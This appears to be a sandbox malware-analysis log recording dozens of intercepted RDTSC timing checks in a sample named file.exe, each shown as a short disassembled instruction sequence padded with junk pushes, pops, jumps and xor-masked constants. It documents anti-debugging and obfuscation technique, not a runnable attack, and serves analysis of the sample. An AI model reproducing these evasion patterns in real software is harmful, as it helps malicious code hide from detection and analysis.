Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC4387 second address: DC4396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC4396 second address: DC43BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F66B1272F65h 0x00000008 jnl 00007F66B1272F56h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC43BB second address: DC43BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC43BF second address: DC43C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC451F second address: DC4527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC4527 second address: DC452D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC452D second address: DC4533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC5EAD second address: DC5EEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F66B1272F69h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 jmp 00007F66B1272F68h 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC5EEE second address: DC5F12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F66B07B4FAEh 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f pushad 0x00000010 ja 00007F66B07B4FA8h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC5F12 second address: DC5F27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007F66B1272F56h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC5FFA second address: DC603D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F66B07B4FA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xor dword ptr [esp], 4FBE1602h 0x00000012 jo 00007F66B07B4FACh 0x00000018 xor ecx, dword ptr [ebp+122D29A6h] 0x0000001e lea ebx, dword ptr [ebp+12457D55h] 0x00000024 mov edx, esi 0x00000026 xchg eax, ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 push ebx 0x0000002a jmp 00007F66B07B4FB8h 0x0000002f pop ebx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC603D second address: DC6042 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC6042 second address: DC6048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC6048 second address: DC605A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F66B1272F5Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC605A second address: DC605E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC605E second address: DC6063 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC614A second address: DC6150 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC6150 second address: DC6156 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC6300 second address: DC6305 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC6305 second address: DC630B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC630B second address: DC6343 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 sub dword ptr [ebp+122D1814h], eax 0x0000000e push 00000000h 0x00000010 pushad 0x00000011 jnl 00007F66B07B4FBBh 0x00000017 popad 0x00000018 push 44009523h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC6343 second address: DC6349 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC6349 second address: DC634F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC634F second address: DC63A9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F66B1272F56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 440095A3h 0x00000013 mov di, 9FD8h 0x00000017 push 00000003h 0x00000019 je 00007F66B1272F6Fh 0x0000001f jmp 00007F66B1272F69h 0x00000024 mov dword ptr [ebp+122D1898h], ecx 0x0000002a push 00000000h 0x0000002c push 00000003h 0x0000002e mov edi, esi 0x00000030 push 801ED96Ah 0x00000035 pushad 0x00000036 jnp 00007F66B1272F58h 0x0000003c push eax 0x0000003d push edx 0x0000003e ja 00007F66B1272F56h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC63A9 second address: DC63AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC63AD second address: DC63D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 401ED96Ah 0x0000000e mov dword ptr [ebp+122D2FA0h], edi 0x00000014 lea ebx, dword ptr [ebp+12457D69h] 0x0000001a add di, 7F09h 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC63D2 second address: DC63D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB1720 second address: DB1726 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE65CE second address: DE65E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jl 00007F66B07B4FA6h 0x0000000f push edi 0x00000010 pop edi 0x00000011 jbe 00007F66B07B4FA6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE688B second address: DE68B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F66B1272F66h 0x0000000b jo 00007F66B1272F56h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jl 00007F66B1272F56h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE68B6 second address: DE68C0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE68C0 second address: DE68C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE68C6 second address: DE68CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE68CA second address: DE68E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a jmp 00007F66B1272F5Dh 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE68E8 second address: DE68F2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F66B07B4FA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE68F2 second address: DE68FB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE6A84 second address: DE6A8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE6A8C second address: DE6A90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE7181 second address: DE7185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE7185 second address: DE71B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B1272F64h 0x00000007 jne 00007F66B1272F56h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F66B1272F5Fh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE7444 second address: DE7448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE7448 second address: DE744C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE744C second address: DE7452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE7452 second address: DE7457 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDE574 second address: DDE5A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F66B07B4FB6h 0x00000009 popad 0x0000000a jne 00007F66B07B4FAEh 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDE5A1 second address: DDE5A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDE5A7 second address: DDE5AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDE5AD second address: DDE5C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F66B1272F60h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDE5C5 second address: DDE5F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jmp 00007F66B07B4FAFh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 jmp 00007F66B07B4FB5h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE7755 second address: DE777F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F66B1272F5Ch 0x0000000a pop ebx 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F66B1272F66h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE777F second address: DE7783 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE7E7E second address: DE7E84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE7E84 second address: DE7EA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F66B07B4FB9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE7FE0 second address: DE801E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F66B1272F56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d pushad 0x0000000e pushad 0x0000000f js 00007F66B1272F56h 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 popad 0x00000018 push edi 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007F66B1272F66h 0x00000020 pop edi 0x00000021 push ebx 0x00000022 ja 00007F66B1272F56h 0x00000028 pop ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE801E second address: DE8022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDE599 second address: DDE5A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEE47D second address: DEE490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F66B07B4FAAh 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAC4E2 second address: DAC504 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F66B1272F56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jmp 00007F66B1272F65h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAC504 second address: DAC511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F66B07B4FA6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAC511 second address: DAC53C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B1272F5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007F66B1272F63h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3211 second address: DF321E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF338C second address: DF339C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F66B1272F5Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF339C second address: DF33BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007F66B07B4FB7h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF33BC second address: DF33F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B1272F69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F66B1272F5Fh 0x0000000e pushad 0x0000000f jbe 00007F66B1272F56h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3A31 second address: DF3A3F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push edi 0x0000000a pop edi 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3A3F second address: DF3A44 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF5B43 second address: DF5BD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B07B4FB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 75531642h 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F66B07B4FA8h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a or esi, dword ptr [ebp+122D30E8h] 0x00000030 call 00007F66B07B4FA9h 0x00000035 jng 00007F66B07B4FBDh 0x0000003b push eax 0x0000003c jmp 00007F66B07B4FAEh 0x00000041 mov eax, dword ptr [esp+04h] 0x00000045 push eax 0x00000046 pushad 0x00000047 jmp 00007F66B07B4FB6h 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF5BD6 second address: DF5BF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push edi 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d pop edi 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jnl 00007F66B1272F58h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF5EAE second address: DF5EBA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF6039 second address: DF603E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF67FB second address: DF6801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF6801 second address: DF6838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F66B1272F64h 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007F66B1272F68h 0x00000016 jmp 00007F66B1272F62h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF6A13 second address: DF6A20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF72E6 second address: DF72EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF72EA second address: DF72F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7D0B second address: DF7D11 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7D11 second address: DF7D1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F66B07B4FA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7D1B second address: DF7D1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7D1F second address: DF7D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007F66B07B4FB5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7D3F second address: DF7DCB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B1272F5Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov esi, dword ptr [ebp+122D2A9Ah] 0x00000010 mov dword ptr [ebp+122D1FB1h], ebx 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edx 0x0000001b call 00007F66B1272F58h 0x00000020 pop edx 0x00000021 mov dword ptr [esp+04h], edx 0x00000025 add dword ptr [esp+04h], 0000001Ch 0x0000002d inc edx 0x0000002e push edx 0x0000002f ret 0x00000030 pop edx 0x00000031 ret 0x00000032 mov si, 0C27h 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebp 0x0000003b call 00007F66B1272F58h 0x00000040 pop ebp 0x00000041 mov dword ptr [esp+04h], ebp 0x00000045 add dword ptr [esp+04h], 00000017h 0x0000004d inc ebp 0x0000004e push ebp 0x0000004f ret 0x00000050 pop ebp 0x00000051 ret 0x00000052 ja 00007F66B1272F5Ah 0x00000058 xchg eax, ebx 0x00000059 push ebx 0x0000005a jg 00007F66B1272F60h 0x00000060 pop ebx 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 pushad 0x00000066 popad 0x00000067 pop eax 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF99F7 second address: DF99FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF97A7 second address: DF97ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B1272F5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F66B1272F64h 0x0000000f je 00007F66B1272F56h 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F66B1272F63h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA47C second address: DFA4F3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F66B07B4FA8h 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 jmp 00007F66B07B4FB3h 0x00000016 jl 00007F66B07B4FA8h 0x0000001c popad 0x0000001d nop 0x0000001e mov esi, 2F11AC60h 0x00000023 push eax 0x00000024 jmp 00007F66B07B4FB6h 0x00000029 pop esi 0x0000002a push 00000000h 0x0000002c jmp 00007F66B07B4FACh 0x00000031 mov dword ptr [ebp+122D2F09h], ecx 0x00000037 push 00000000h 0x00000039 adc si, 938Eh 0x0000003e mov dword ptr [ebp+1246AE0Bh], ecx 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 jnl 00007F66B07B4FA8h 0x0000004d push ebx 0x0000004e pop ebx 0x0000004f rdtsc
